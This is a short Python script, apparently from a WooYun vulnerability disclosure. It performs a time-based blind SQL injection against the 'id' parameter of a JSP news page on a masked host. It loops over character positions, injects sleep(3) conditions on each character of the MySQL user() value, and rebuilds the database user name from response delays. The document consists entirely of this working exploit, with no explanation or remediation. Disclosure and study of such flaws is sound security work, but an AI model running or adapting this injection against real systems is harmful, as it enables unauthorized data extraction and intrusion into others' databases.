WooYun.org

import requests
import re
import time
payloads='abcdefghigklmnopqrstuvwxyz0123456789@_.'
user=''
print 'Start to retrive Mysql user:'
for i in range(1,15):
    for payload in payloads:
        starttime=time.time()
        s="1490 and if(ascii(mid(user() from %s for 1))=%s,sleep(3),1)" %(i,ord(payload))
        param={'id':s}
        response=requests.get('http://**.**.**.**:8080/ndap/querynews2.jsp',params=param)
        if time.time()-starttime >3:
            user+=payload
            print '\n user is:',user,
            break
        else:
            print '.',
print '\n[Done] mysql user is %s' %user